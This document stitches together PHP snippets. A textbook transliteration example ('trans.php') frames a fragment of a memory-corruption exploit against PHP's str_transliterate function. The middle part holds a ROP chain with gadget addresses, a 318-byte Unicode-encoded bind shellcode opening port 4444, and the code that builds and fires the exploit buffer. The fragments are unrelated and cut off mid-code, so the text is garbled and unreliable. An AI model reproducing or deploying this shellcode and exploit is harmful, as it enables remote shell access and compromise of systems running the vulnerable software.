<?php $me = 'Larry Ullman'; $scripts = array('Greek', 'Cyrillic', 'Hebrew', 'Arabic', 'Hangul'); foreach ($scripts as $script) { echo "{$me} is " . str_transliterate($me, 'Latin', $script) . " in {$script}.\n"; } echo "{$me} is " . transliterator_transliterate("Latin-{$script}", $me) . " in {$script}.\n";
$rop .= "\\u10AD\\u6FC3"; // INC EAX/RETN 6FC310AD $rop .= "\\u10AD\\u6FC3"; // INC EAX/RETN 6FC310AD $rop .= "\\u10AD\\u6FC3"; // INC EAX/RETN 6FC310AD $rop .= "\\u10AD\\u6FC3"; // INC EAX/RETN 6FC310AD $rop .= "\\u10AD\\u6FC3"; // INC EAX/RETN 6FC310AD $rop .= "\\u2C63\\u6FC5"; // XCHG EAX,ESP/RETN 6FC52C63 // unicode bind shellcode port 4444, 318 bytes $sh = "\\u6afc\\u4deb\\uf9e8\\uffff\\u60ff\\u6c8b\\u2424\\u458b\\u8b3c\\u057c\\u0178\\u8bef\\u184f\\u5f8b" . "\\u0120\\u49eb\\u348b\\u018b\\u31ee\\u99c0\\u84ac\\u74c0\\uc107\\u0dca\\uc201\\uf4eb\\u543b\\u2824" . "\\ue575\\u5f8b\\u0124\\u66eb\\u0c8b\\u8b4b\\u1c5f\\ueb01\\u2c03\\u898b\\u246c\\u611c\\u31c3\\u64db" . "\\u438b\\u8b30\\u0c40\\u708b\\uad1c\\u408b\\u5e08\\u8e68\\u0e4e\\u50ec\\ud6ff\\u5366\\u6866\\u3233" . "\\u7768\\u3273\\u545f\\ud0ff\\ucb68\\ufced\\u503b\\ud6ff\\u895f\\u66e5\\ued81\\u0208\\u6a55\\uff02" . "\\u68d0\\u09d9\\uadf5\\uff57\\u53d6\\u5353\\u5353\\u5343\\u5343\\ud0ff\\u6866\\u5c11\\u5366\\ue189" . "\\u6895\\u1aa4\\uc770\\uff57\\u6ad6\\u5110\\uff55\\u68d0\\uada4\\ue92e\\uff57\\u53d6\\uff55\\u68d0" . "\\u49e5\\u4986\\uff57\\u50d6\\u5454\\uff55\\u93d0\\ue768\\uc679\\u5779\\ud6ff\\uff55\\u66d0\\u646a" . "\\u6866\\u6d63\\ue589\\u506a\\u2959\\u89cc\\u6ae7\\u8944\\u31e2\\uf3c0\\ufeaa\\u2d42\\u42fe\\u932c" . "\\u7a8d\\uab38\\uabab\\u7268\\ub3fe\\uff16\\u4475\\ud6ff\\u575b\\u5152\\u5151\\u016a\\u5151\\u5155" . "\\ud0ff\\uad68\\u05d9\\u53ce\\ud6ff\\uff6a\\u37ff\\ud0ff\\u578b\\u83fc\\u64c4\\ud6ff\\uff52\\u68d0" . "\\uceef\\u60e0\\uff53\\uffd6\\ud0d0\\u4142\\u4344\\u4142\\u4344\\u4142\\u4344\\u4142\\u4344"; $exploit = $buff . $ret . $wpm . $wpmargs . $nops . $sh . $rop; str_transliterate(0, $exploit, 0); } else { exit("Error! 'unicode.semantics' has be on!\r\n"); } function ini_get_bool($a) { $b = ini_get($a); switch (strtolower($b)) { case 'on': case 'yes': case 'true': return 'assert.active' !== $a; case 'stdout': case 'stderr': return 'display_errors' === $a; default:
<?php header ('Content-Type: text/html; charset=UTF-8'); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>Transliteration</title> </head> <body style="font-size: 18pt;"> <em>What's my name?</em> <?php # Script 14.4 - trans.php // Your name: $me = 'Larry Ullman'; // Create an array of scripts: $scripts = array('Greek', 'Cyrillic', 'Hebrew', 'Arabic', 'Hangul'); // Loop through each script: foreach ($scripts as $script) { echo "<p>$me is " . str_transliterate($me, 'Latin', $script) . " in $script.</p>\n"; } ?> </body> </html>